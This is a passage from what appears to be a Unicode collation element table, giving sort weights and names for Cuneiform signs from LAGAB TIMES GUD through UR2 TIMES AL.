[.49E4.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD +121C7 ; [.49E5.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GUD PLUS GUD +121C8 ; [.49E6.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HA +121C9 ; [.49E7.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HAL +121CA ; [.49E8.0020.0002] # CUNEIFORM SIGN LAGAB TIMES HI TIMES NUN +121CB ; [.49E9.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IGI GUNU +121CC ; [.49EA.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM +121CD ; [.49EB.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS HA +121CE ; [.49EC.0020.0002] # CUNEIFORM SIGN LAGAB TIMES IM PLUS LU +121CF ; [.49ED.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KI +121D0 ; [.49EE.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KIN +121D1 ; [.49EF.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KU3 +121D2 ; [.49F0.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL +121D3 ; [.49F1.0020.0002] # CUNEIFORM SIGN LAGAB TIMES KUL PLUS HI PLUS A +121D4 ; [.49F2.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LAGAB +121D5 ; [.49F3.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LISH +121D6 ; [.49F4.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LU +121D7 ; [.49F5.0020.0002] # CUNEIFORM SIGN LAGAB TIMES LUL +121D8 ; [.49F6.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME +121D9 ; [.49F7.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ME PLUS EN +121DA ; [.49F8.0020.0002] # CUNEIFORM SIGN LAGAB TIMES MUSH +121DB ; [.49F9.0020.0002] # CUNEIFORM SIGN LAGAB TIMES NE +121DC ; [.49FA.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHE PLUS SUM +121DD ; [.49FB.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH PLUS ERIN2 +121DE ; [.49FC.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHITA PLUS GISH TENU +121DF ; [.49FD.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2 +121E0 ; [.49FE.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SHU2 PLUS SHU2 +121E1 ; [.49FF.0020.0002] # CUNEIFORM SIGN LAGAB TIMES SUM +121E2 ; [.4A00.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAG +121E3 ; [.4A01.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TAK4 +121E4 ; [.4A02.0020.0002] # CUNEIFORM SIGN LAGAB TIMES TE PLUS A PLUS SU PLUS NA +121E5 ; [.4A03.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U +121E6 ; [.4A04.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS A +121E7 ; [.4A05.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U PLUS U PLUS U +121E8 ; [.4A06.0020.0002] # CUNEIFORM SIGN LAGAB TIMES U2 PLUS ASH +121E9 ; [.4A07.0020.0002] # CUNEIFORM SIGN LAGAB TIMES UD +121EA ; [.4A08.0020.0002] # CUNEIFORM SIGN LAGAB TIMES USH +121EB ; [.4A09.0020.0002] # CUNEIFORM SIGN LAGAB SQUARED +121EC ; [.4A0A.0020.0002] # CUNEIFORM SIGN LAGAR +121ED ; [.4A0B.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE +121EE ; [.4A0C.0020.0002] # CUNEIFORM SIGN LAGAR TIMES SHE PLUS SUM +121EF ; [.4A0D.0020.0002] # CUNEIFORM SIGN LAGAR GUNU +121F0 ; [.4A0E.0020.0002] # CUNEIFORM SIGN LAGAR GUNU OVER LAGAR GUNU SHE +121F1 ; [.4A0F.0020.0002] # CUNEIFORM SIGN LAHSHU +121F2 ; [.4A10.0020.0002] # CUNEIFORM SIGN LAL +121F3 ; [.4A11.0020.0002] # CUNEIFORM SIGN LAL TIMES LAL +121F4 ; [.4A12.0020.0002] # CUNEIFORM SIGN LAM +121F5 ; [.4A13.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR +121F6 ; [.4A14.0020.0002] # CUNEIFORM SIGN LAM TIMES KUR PLUS RU +121F7 ; [.4A15.0020.0002] # CUNEIFORM SIGN LI +121F8 ; [.4A16.0020.0002] # CUNEIFORM SIGN LIL +121F9 ; [.4A17.0020.0002] # CUNEIFORM SIGN LIMMU2 +121FA ; [.4A18.0020.0002] # CUNEIFORM SIGN LISH +121FB ; [.4A19.0020.0002] # CUNEIFORM SIGN LU +121FC ; [.4A1A.0020.0002] # CUNEIFORM SIGN LU TIMES BAD +121FD ; [.4A1B.0020.0002] # CUNEIFORM SIGN LU2 +121FE ; [.4A1C.0020.0002] # CUNEIFORM SIGN LU2 TIMES AL +121FF ; [.4A1D.0020.0002] # CUNEIFORM SIGN LU2 TIMES BAD +12200 ; [.4A1E.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 +12201 ; [.4A1F.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 TENU +12202 ; [.4A20.0020.0002] # CUNEIFORM SIGN LU2 TIMES GAN2 TENU +12203 ; [.4A21.0020.0002] # CUNEIFORM SIGN LU2 TIMES HI TIMES BAD +12204 ; [.4A22.0020.0002] # CUNEIFORM SIGN LU2 TIMES IM +12205 ; [.4A23.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD2 +12206 ; [.4A24.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3 +12207 ; [.4A25.0020.0002] # CUNEIFORM SIGN LU2 TIMES KAD3 PLUS ASH +12208 ; [.4A26.0020.0002] # CUNEIFORM SIGN LU2 TIMES KI +12209 ; [.4A27.0020.0002] # CUNEIFORM SIGN LU2 TIMES LA PLUS ASH +1220A ; [.4A28.0020.0002] # CUNEIFORM SIGN LU2 TIMES LAGAB +1220B ; [.4A29.0020.0002] # CUNEIFORM SIGN LU2 TIMES ME PLUS EN +1220C ; [.4A2A.0020.0002] # CUNEIFORM SIGN LU2 TIMES NE +1220D ; [.4A2B.0020.0002] # CUNEIFORM SIGN LU2 TIMES NU +1220E ; [.4A2C.0020.0002] # CUNEIFORM SIGN LU2 TIMES SI PLUS ASH +1220F ; [.4A2D.0020.0002] # CUNEIFORM SIGN LU2 TIMES SIK2 PLUS BU +12210 ; [.4A2E.0020.0002] # CUNEIFORM SIGN LU2 TIMES TUG2 +12211 ; [.4A2F.0020.0002] # CUNEIFORM SIGN LU2 TENU +12212 ; [.4A30.0020.0002] # CUNEIFORM SIGN LU2 CROSSING LU2 +12213 ; [.4A31.0020.0002] # CUNEIFORM SIGN LU2 OPPOSING LU2 +12214 ; [.4A32.0020.0002] # CUNEIFORM SIGN LU2 SQUARED +12215 ; [.4A33.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG +12216 ; [.4A34.0020.0002] # CUNEIFORM SIGN LU3 +12217 ; [.4A35.0020.0002] # CUNEIFORM SIGN LUGAL +12218 ; [.4A36.0020.0002] # CUNEIFORM SIGN LUGAL OVER LUGAL +12219 ; [.4A37.0020.0002] # CUNEIFORM SIGN LUGAL OPPOSING LUGAL +1221A ; [.4A38.0020.0002] # CUNEIFORM SIGN LUGAL SHESHIG +1221B ; [.4A39.0020.0002] # CUNEIFORM SIGN LUH +1221C ; [.4A3A.0020.0002] # CUNEIFORM SIGN LUL +1221D ; [.4A3B.0020.0002] # CUNEIFORM SIGN LUM +1221E ; [.4A3C.0020.0002] # CUNEIFORM SIGN LUM OVER LUM +1221F ; [.4A3D.0020.0002] # CUNEIFORM SIGN LUM OVER LUM GAR OVER GAR +12220 ; [.4A3E.0020.0002] # CUNEIFORM SIGN MA +12221 ; [.4A3F.0020.0002] # CUNEIFORM SIGN MA TIMES TAK4 +12222 ; [.4A40.0020.0002] # CUNEIFORM SIGN MA GUNU +12223 ; [.4A41.0020.0002] # CUNEIFORM SIGN MA2 +12224 ; [.4A42.0020.0002] # CUNEIFORM SIGN MAH +12225 ; [.4A43.0020.0002] # CUNEIFORM SIGN MAR +12226 ; [.4A44.0020.0002] # CUNEIFORM SIGN MASH +12227 ; [.4A45.0020.0002] # CUNEIFORM SIGN MASH2 +12228 ; [.4A46.0020.0002] # CUNEIFORM SIGN ME +12229 ; [.4A47.0020.0002] # CUNEIFORM SIGN MES +1222A ; [.4A48.0020.0002] # CUNEIFORM SIGN MI +1222B ; [.4A49.0020.0002] # CUNEIFORM SIGN MIN +1222C ; [.4A4A.0020.0002] # CUNEIFORM SIGN MU +1222D ; [.4A4B.0020.0002] # CUNEIFORM SIGN MU OVER MU +1222E ; [.4A4C.0020.0002] # CUNEIFORM SIGN MUG +1222F ; [.4A4D.0020.0002] # CUNEIFORM SIGN MUG GUNU +12230 ; [.4A4E.0020.0002] # CUNEIFORM SIGN MUNSUB +12231 ; [.4A4F.0020.0002] # CUNEIFORM SIGN MURGU2 +12232 ; [.4A50.0020.0002] # CUNEIFORM SIGN MUSH +12233 ; [.4A51.0020.0002] # CUNEIFORM SIGN MUSH TIMES A +12234 ; [.4A52.0020.0002] # CUNEIFORM SIGN MUSH TIMES KUR +12235 ; [.4A53.0020.0002] # CUNEIFORM SIGN MUSH TIMES ZA +12236 ; [.4A54.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH +12237 ; [.4A55.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES A PLUS NA +12238 ; [.4A56.0020.0002] # CUNEIFORM SIGN MUSH CROSSING MUSH +12239 ; [.4A57.0020.0002] # CUNEIFORM SIGN MUSH3 +1223A ; [.4A58.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A +1223B ; [.4A59.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES A PLUS DI +1223C ; [.4A5A.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES DI +1223D ; [.4A5B.0020.0002] # CUNEIFORM SIGN MUSH3 GUNU +1223E ; [.4A5C.0020.0002] # CUNEIFORM SIGN NA +1223F ; [.4A5D.0020.0002] # CUNEIFORM SIGN NA2 +12240 ; [.4A5E.0020.0002] # CUNEIFORM SIGN NAGA +12241 ; [.4A5F.0020.0002] # CUNEIFORM SIGN NAGA INVERTED +12242 ; [.4A60.0020.0002] # CUNEIFORM SIGN NAGA TIMES SHU TENU +12243 ; [.4A61.0020.0002] # CUNEIFORM SIGN NAGA OPPOSING NAGA +12244 ; [.4A62.0020.0002] # CUNEIFORM SIGN NAGAR +12245 ; [.4A63.0020.0002] # CUNEIFORM SIGN NAM NUTILLU +12246 ; [.4A64.0020.0002] # CUNEIFORM SIGN NAM +12247 ; [.4A65.0020.0002] # CUNEIFORM SIGN NAM2 +12248 ; [.4A66.0020.0002] # CUNEIFORM SIGN NE +12249 ; [.4A67.0020.0002] # CUNEIFORM SIGN NE TIMES A +1224A ; [.4A68.0020.0002] # CUNEIFORM SIGN NE TIMES UD +1224B ; [.4A69.0020.0002] # CUNEIFORM SIGN NE SHESHIG +1224C ; [.4A6A.0020.0002] # CUNEIFORM SIGN NI +1224D ; [.4A6B.0020.0002] # CUNEIFORM SIGN NI TIMES E +1224E ; [.4A6C.0020.0002] # CUNEIFORM SIGN NI2 +1224F ; [.4A6D.0020.0002] # CUNEIFORM SIGN NIM +12250 ; [.4A6E.0020.0002] # CUNEIFORM SIGN NIM TIMES GAN2 TENU +12251 ; [.4A6F.0020.0002] # CUNEIFORM SIGN NIM TIMES GAR PLUS GAN2 TENU +12252 ; [.4A70.0020.0002] # CUNEIFORM SIGN NINDA2 +12253 ; [.4A71.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES AN +12254 ; [.4A72.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH +12255 ; [.4A73.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ASH PLUS ASH +12256 ; [.4A74.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUD +12257 ; [.4A75.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES ME PLUS GAN2 TENU +12258 ; [.4A76.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NE +12259 ; [.4A77.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES NUN +1225A ; [.4A78.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE +1225B ; [.4A79.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS A AN +1225C ; [.4A7A.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH +1225D ; [.4A7B.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES SHE PLUS ASH PLUS ASH +1225E ; [.4A7C.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U2 PLUS ASH +1225F ; [.4A7D.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES USH +12260 ; [.4A7E.0020.0002] # CUNEIFORM SIGN NISAG +12261 ; [.4A7F.0020.0002] # CUNEIFORM SIGN NU +12262 ; [.4A80.0020.0002] # CUNEIFORM SIGN NU11 +122D4 ; [.4A81.0020.0002] # CUNEIFORM SIGN SHIR TENU +122D5 ; [.4A82.0020.0002] # CUNEIFORM SIGN SHIR OVER SHIR BUR OVER BUR +12263 ; [.4A83.0020.0002] # CUNEIFORM SIGN NUN +12264 ; [.4A84.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES GAR +12265 ; [.4A85.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES MASH +12266 ; [.4A86.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL +12267 ; [.4A87.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES SAL OVER NUN LAGAR TIMES SAL +12268 ; [.4A88.0020.0002] # CUNEIFORM SIGN NUN LAGAR TIMES USH +12269 ; [.4A89.0020.0002] # CUNEIFORM SIGN NUN TENU +1226A ; [.4A8A.0020.0002] # CUNEIFORM SIGN NUN OVER NUN +1226B ; [.4A8B.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN +1226C ; [.4A8C.0020.0002] # CUNEIFORM SIGN NUN CROSSING NUN LAGAR OVER LAGAR +1226D ; [.4A8D.0020.0002] # CUNEIFORM SIGN NUNUZ +1226E ; [.4A8E.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES ASHGAB +1226F ; [.4A8F.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES BI +12270 ; [.4A90.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES DUG +12271 ; [.4A91.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES GUD +12272 ; [.4A92.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES IGI GUNU +12273 ; [.4A93.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES KAD3 +12274 ; [.4A94.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES LA +12275 ; [.4A95.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES NE +12276 ; [.4A96.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES SILA3 +12277 ; [.4A97.0020.0002] # CUNEIFORM SIGN NUNUZ AB2 TIMES U2 +12278 ; [.4A98.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI +12279 ; [.4A99.0020.0002] # CUNEIFORM SIGN NUNUZ KISIM5 TIMES BI U +1227A ; [.4A9A.0020.0002] # CUNEIFORM SIGN PA +1227B ; [.4A9B.0020.0002] # CUNEIFORM SIGN PAD +1227C ; [.4A9C.0020.0002] # CUNEIFORM SIGN PAN +1227D ; [.4A9D.0020.0002] # CUNEIFORM SIGN PAP +1227E ; [.4A9E.0020.0002] # CUNEIFORM SIGN PESH2 +1227F ; [.4A9F.0020.0002] # CUNEIFORM SIGN PI +12280 ; [.4AA0.0020.0002] # CUNEIFORM SIGN PI TIMES A +12281 ; [.4AA1.0020.0002] # CUNEIFORM SIGN PI TIMES AB +12282 ; [.4AA2.0020.0002] # CUNEIFORM SIGN PI TIMES BI +12283 ; [.4AA3.0020.0002] # CUNEIFORM SIGN PI TIMES BU +12284 ; [.4AA4.0020.0002] # CUNEIFORM SIGN PI TIMES E +12285 ; [.4AA5.0020.0002] # CUNEIFORM SIGN PI TIMES I +12286 ; [.4AA6.0020.0002] # CUNEIFORM SIGN PI TIMES IB +12287 ; [.4AA7.0020.0002] # CUNEIFORM SIGN PI TIMES U +12288 ; [.4AA8.0020.0002] # CUNEIFORM SIGN PI TIMES U2 +12289 ; [.4AA9.0020.0002] # CUNEIFORM SIGN PI CROSSING PI +1228A ; [.4AAA.0020.0002] # CUNEIFORM SIGN PIRIG +1228B ; [.4AAB.0020.0002] # CUNEIFORM SIGN PIRIG TIMES KAL +1228C ; [.4AAC.0020.0002] # CUNEIFORM SIGN PIRIG TIMES UD +1228D ; [.4AAD.0020.0002] # CUNEIFORM SIGN PIRIG TIMES ZA +1228E ; [.4AAE.0020.0002] # CUNEIFORM SIGN PIRIG OPPOSING PIRIG +1228F ; [.4AAF.0020.0002] # CUNEIFORM SIGN RA +12290 ; [.4AB0.0020.0002] # CUNEIFORM SIGN RAB +12291 ; [.4AB1.0020.0002] # CUNEIFORM SIGN RI +12292 ; [.4AB2.0020.0002] # CUNEIFORM SIGN RU +12293 ; [.4AB3.0020.0002] # CUNEIFORM SIGN SA +12294 ; [.4AB4.0020.0002] # CUNEIFORM SIGN SAG NUTILLU +12295 ; [.4AB5.0020.0002] # CUNEIFORM SIGN SAG +12296 ; [.4AB6.0020.0002] # CUNEIFORM SIGN SAG TIMES A +12297 ; [.4AB7.0020.0002] # CUNEIFORM SIGN SAG TIMES DU +12298 ; [.4AB8.0020.0002] # CUNEIFORM SIGN SAG TIMES DUB +12299 ; [.4AB9.0020.0002] # CUNEIFORM SIGN SAG TIMES HA +1229A ; [.4ABA.0020.0002] # CUNEIFORM SIGN SAG TIMES KAK +1229B ; [.4ABB.0020.0002] # CUNEIFORM SIGN SAG TIMES KUR +1229C ; [.4ABC.0020.0002] # CUNEIFORM SIGN SAG TIMES LUM +1229D ; [.4ABD.0020.0002] # CUNEIFORM SIGN SAG TIMES MI +1229E ; [.4ABE.0020.0002] # CUNEIFORM SIGN SAG TIMES NUN +1229F ; [.4ABF.0020.0002] # CUNEIFORM SIGN SAG TIMES SAL +122A0 ; [.4AC0.0020.0002] # CUNEIFORM SIGN SAG TIMES SHID +122A1 ; [.4AC1.0020.0002] # CUNEIFORM SIGN SAG TIMES TAB +122A2 ; [.4AC2.0020.0002] # CUNEIFORM SIGN SAG TIMES U2 +122A3 ; [.4AC3.0020.0002] # CUNEIFORM SIGN SAG TIMES UB +122A4 ; [.4AC4.0020.0002] # CUNEIFORM SIGN SAG TIMES UM +122A5 ; [.4AC5.0020.0002] # CUNEIFORM SIGN SAG TIMES UR +122A6 ; [.4AC6.0020.0002] # CUNEIFORM SIGN SAG TIMES USH +122A7 ; [.4AC7.0020.0002] # CUNEIFORM SIGN SAG OVER SAG +122A8 ; [.4AC8.0020.0002] # CUNEIFORM SIGN SAG GUNU +122A9 ; [.4AC9.0020.0002] # CUNEIFORM SIGN SAL +122AA ; [.4ACA.0020.0002] # CUNEIFORM SIGN SAL LAGAB TIMES ASH2 +122AB ; [.4ACB.0020.0002] # CUNEIFORM SIGN SANGA2 +122AC ; [.4ACC.0020.0002] # CUNEIFORM SIGN SAR +122AD ; [.4ACD.0020.0002] # CUNEIFORM SIGN SHA +122AE ; [.4ACE.0020.0002] # CUNEIFORM SIGN SHA3 +122AF ; [.4ACF.0020.0002] # CUNEIFORM SIGN SHA3 TIMES A +122B0 ; [.4AD0.0020.0002] # CUNEIFORM SIGN SHA3 TIMES BAD +122B1 ; [.4AD1.0020.0002] # CUNEIFORM SIGN SHA3 TIMES GISH +122B2 ; [.4AD2.0020.0002] # CUNEIFORM SIGN SHA3 TIMES NE +122B3 ; [.4AD3.0020.0002] # CUNEIFORM SIGN SHA3 TIMES SHU2 +122B4 ; [.4AD4.0020.0002] # CUNEIFORM SIGN SHA3 TIMES TUR +122B5 ; [.4AD5.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U +122B6 ; [.4AD6.0020.0002] # CUNEIFORM SIGN SHA3 TIMES U PLUS A +122B7 ; [.4AD7.0020.0002] # CUNEIFORM SIGN SHA6 +122B8 ; [.4AD8.0020.0002] # CUNEIFORM SIGN SHAB6 +122B9 ; [.4AD9.0020.0002] # CUNEIFORM SIGN SHAR2 +122BA ; [.4ADA.0020.0002] # CUNEIFORM SIGN SHE +122BB ; [.4ADB.0020.0002] # CUNEIFORM SIGN SHE HU +122BC ; [.4ADC.0020.0002] # CUNEIFORM SIGN SHE OVER SHE GAD OVER GAD GAR OVER GAR +122BD ; [.4ADD.0020.0002] # CUNEIFORM SIGN SHE OVER SHE TAB OVER TAB GAR OVER GAR +122BE ; [.4ADE.0020.0002] # CUNEIFORM SIGN SHEG9 +122BF ; [.4ADF.0020.0002] # CUNEIFORM SIGN SHEN +122C0 ; [.4AE0.0020.0002] # CUNEIFORM SIGN SHESH +122C1 ; [.4AE1.0020.0002] # CUNEIFORM SIGN SHESH2 +122C2 ; [.4AE2.0020.0002] # CUNEIFORM SIGN SHESHLAM +122C3 ; [.4AE3.0020.0002] # CUNEIFORM SIGN SHID +122C4 ; [.4AE4.0020.0002] # CUNEIFORM SIGN SHID TIMES A +122C5 ; [.4AE5.0020.0002] # CUNEIFORM SIGN SHID TIMES IM +122C6 ; [.4AE6.0020.0002] # CUNEIFORM SIGN SHIM +122C7 ; [.4AE7.0020.0002] # CUNEIFORM SIGN SHIM TIMES A +122C8 ; [.4AE8.0020.0002] # CUNEIFORM SIGN SHIM TIMES BAL +122C9 ; [.4AE9.0020.0002] # CUNEIFORM SIGN SHIM TIMES BULUG +122CA ; [.4AEA.0020.0002] # CUNEIFORM SIGN SHIM TIMES DIN +122CB ; [.4AEB.0020.0002] # CUNEIFORM SIGN SHIM TIMES GAR +122CC ; [.4AEC.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI +122CD ; [.4AED.0020.0002] # CUNEIFORM SIGN SHIM TIMES IGI GUNU +122CE ; [.4AEE.0020.0002] # CUNEIFORM SIGN SHIM TIMES KUSHU2 +122CF ; [.4AEF.0020.0002] # CUNEIFORM SIGN SHIM TIMES LUL +122D0 ; [.4AF0.0020.0002] # CUNEIFORM SIGN SHIM TIMES MUG +122D1 ; [.4AF1.0020.0002] # CUNEIFORM SIGN SHIM TIMES SAL +122D2 ; [.4AF2.0020.0002] # CUNEIFORM SIGN SHINIG +122D3 ; [.4AF3.0020.0002] # CUNEIFORM SIGN SHIR +122D6 ; [.4AF4.0020.0002] # CUNEIFORM SIGN SHITA +122D7 ; [.4AF5.0020.0002] # CUNEIFORM SIGN SHU +122D8 ; [.4AF6.0020.0002] # CUNEIFORM SIGN SHU OVER INVERTED SHU +122D9 ; [.4AF7.0020.0002] # CUNEIFORM SIGN SHU2 +122DA ; [.4AF8.0020.0002] # CUNEIFORM SIGN SHUBUR +122DB ; [.4AF9.0020.0002] # CUNEIFORM SIGN SI +122DC ; [.4AFA.0020.0002] # CUNEIFORM SIGN SI GUNU +122DD ; [.4AFB.0020.0002] # CUNEIFORM SIGN SIG +122DE ; [.4AFC.0020.0002] # CUNEIFORM SIGN SIG4 +122DF ; [.4AFD.0020.0002] # CUNEIFORM SIGN SIG4 OVER SIG4 SHU2 +122E0 ; [.4AFE.0020.0002] # CUNEIFORM SIGN SIK2 +122E1 ; [.4AFF.0020.0002] # CUNEIFORM SIGN SILA3 +122E2 ; [.4B00.0020.0002] # CUNEIFORM SIGN SU +122E3 ; [.4B01.0020.0002] # CUNEIFORM SIGN SU OVER SU +122E4 ; [.4B02.0020.0002] # CUNEIFORM SIGN SUD +122E5 ; [.4B03.0020.0002] # CUNEIFORM SIGN SUD2 +122E6 ; [.4B04.0020.0002] # CUNEIFORM SIGN SUHUR +122E7 ; [.4B05.0020.0002] # CUNEIFORM SIGN SUM +122E8 ; [.4B06.0020.0002] # CUNEIFORM SIGN SUMASH +122E9 ; [.4B07.0020.0002] # CUNEIFORM SIGN SUR +122EA ; [.4B08.0020.0002] # CUNEIFORM SIGN SUR9 +122EB ; [.4B09.0020.0002] # CUNEIFORM SIGN TA +122EC ; [.4B0A.0020.0002] # CUNEIFORM SIGN TA ASTERISK +122ED ; [.4B0B.0020.0002] # CUNEIFORM SIGN TA TIMES HI +122EE ; [.4B0C.0020.0002] # CUNEIFORM SIGN TA TIMES MI +122EF ; [.4B0D.0020.0002] # CUNEIFORM SIGN TA GUNU +122F0 ; [.4B0E.0020.0002] # CUNEIFORM SIGN TAB +122F1 ; [.4B0F.0020.0002] # CUNEIFORM SIGN TAB OVER TAB NI OVER NI DISH OVER DISH +122F2 ; [.4B10.0020.0002] # CUNEIFORM SIGN TAB SQUARED +122F3 ; [.4B11.0020.0002] # CUNEIFORM SIGN TAG +122F4 ; [.4B12.0020.0002] # CUNEIFORM SIGN TAG TIMES BI +122F5 ; [.4B13.0020.0002] # CUNEIFORM SIGN TAG TIMES GUD +122F6 ; [.4B14.0020.0002] # CUNEIFORM SIGN TAG TIMES SHE +122F7 ; [.4B15.0020.0002] # CUNEIFORM SIGN TAG TIMES SHU +122F8 ; [.4B16.0020.0002] # CUNEIFORM SIGN TAG TIMES TUG2 +122F9 ; [.4B17.0020.0002] # CUNEIFORM SIGN TAG TIMES UD +122FA ; [.4B18.0020.0002] # CUNEIFORM SIGN TAK4 +122FB ; [.4B19.0020.0002] # CUNEIFORM SIGN TAR +122FC ; [.4B1A.0020.0002] # CUNEIFORM SIGN TE +122FD ; [.4B1B.0020.0002] # CUNEIFORM SIGN TE GUNU +122FE ; [.4B1C.0020.0002] # CUNEIFORM SIGN TI +122FF ; [.4B1D.0020.0002] # CUNEIFORM SIGN TI TENU +12300 ; [.4B1E.0020.0002] # CUNEIFORM SIGN TIL +12301 ; [.4B1F.0020.0002] # CUNEIFORM SIGN TIR +12302 ; [.4B20.0020.0002] # CUNEIFORM SIGN TIR TIMES TAK4 +12303 ; [.4B21.0020.0002] # CUNEIFORM SIGN TIR OVER TIR +12304 ; [.4B22.0020.0002] # CUNEIFORM SIGN TIR OVER TIR GAD OVER GAD GAR OVER GAR +12305 ; [.4B23.0020.0002] # CUNEIFORM SIGN TU +12306 ; [.4B24.0020.0002] # CUNEIFORM SIGN TUG2 +12307 ; [.4B25.0020.0002] # CUNEIFORM SIGN TUK +12308 ; [.4B26.0020.0002] # CUNEIFORM SIGN TUM +12309 ; [.4B27.0020.0002] # CUNEIFORM SIGN TUR +1230A ; [.4B28.0020.0002] # CUNEIFORM SIGN TUR OVER TUR ZA OVER ZA +1230B ; [.4B29.0020.0002] # CUNEIFORM SIGN U +1230C ; [.4B2A.0020.0002] # CUNEIFORM SIGN U GUD +1230D ; [.4B2B.0020.0002] # CUNEIFORM SIGN U U U +1230E ; [.4B2C.0020.0002] # CUNEIFORM SIGN U OVER U PA OVER PA GAR OVER GAR +1230F ; [.4B2D.0020.0002] # CUNEIFORM SIGN U OVER U SUR OVER SUR +12310 ; [.4B2E.0020.0002] # CUNEIFORM SIGN U OVER U U REVERSED OVER U REVERSED +12311 ; [.4B2F.0020.0002] # CUNEIFORM SIGN U2 +12312 ; [.4B30.0020.0002] # CUNEIFORM SIGN UB +12313 ; [.4B31.0020.0002] # CUNEIFORM SIGN UD +12314 ; [.4B32.0020.0002] # CUNEIFORM SIGN UD KUSHU2 +12315 ; [.4B33.0020.0002] # CUNEIFORM SIGN UD TIMES BAD +12316 ; [.4B34.0020.0002] # CUNEIFORM SIGN UD TIMES MI +12317 ; [.4B35.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U +12318 ; [.4B36.0020.0002] # CUNEIFORM SIGN UD TIMES U PLUS U PLUS U GUNU +12319 ; [.4B37.0020.0002] # CUNEIFORM SIGN UD GUNU +1231A ; [.4B38.0020.0002] # CUNEIFORM SIGN UD SHESHIG +1231B ; [.4B39.0020.0002] # CUNEIFORM SIGN UD SHESHIG TIMES BAD +1231C ; [.4B3A.0020.0002] # CUNEIFORM SIGN UDUG +1231D ; [.4B3B.0020.0002] # CUNEIFORM SIGN UM +1231E ; [.4B3C.0020.0002] # CUNEIFORM SIGN UM TIMES LAGAB +1231F ; [.4B3D.0020.0002] # CUNEIFORM SIGN UM TIMES ME PLUS DA +12320 ; [.4B3E.0020.0002] # CUNEIFORM SIGN UM TIMES SHA3 +12321 ; [.4B3F.0020.0002] # CUNEIFORM SIGN UM TIMES U +12322 ; [.4B40.0020.0002] # CUNEIFORM SIGN UMBIN +12323 ; [.4B41.0020.0002] # CUNEIFORM SIGN UMUM +12324 ; [.4B42.0020.0002] # CUNEIFORM SIGN UMUM TIMES KASKAL +12325 ; [.4B43.0020.0002] # CUNEIFORM SIGN UMUM TIMES PA +12326 ; [.4B44.0020.0002] # CUNEIFORM SIGN UN +12327 ; [.4B45.0020.0002] # CUNEIFORM SIGN UN GUNU +12328 ; [.4B46.0020.0002] # CUNEIFORM SIGN UR +12329 ; [.4B47.0020.0002] # CUNEIFORM SIGN UR CROSSING UR +1232A ; [.4B48.0020.0002] # CUNEIFORM SIGN UR SHESHIG +1232B ; [.4B49.0020.0002] # CUNEIFORM SIGN UR2 +1232C ; [.4B4A.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS HA +1232D ; [.4B4B.0020.0002] # CUNEIFORM SIGN UR2 TIMES A PLUS NA +1232E ; [.4B4C.0020.0002] # CUNEIFORM SIGN UR2 TIMES AL 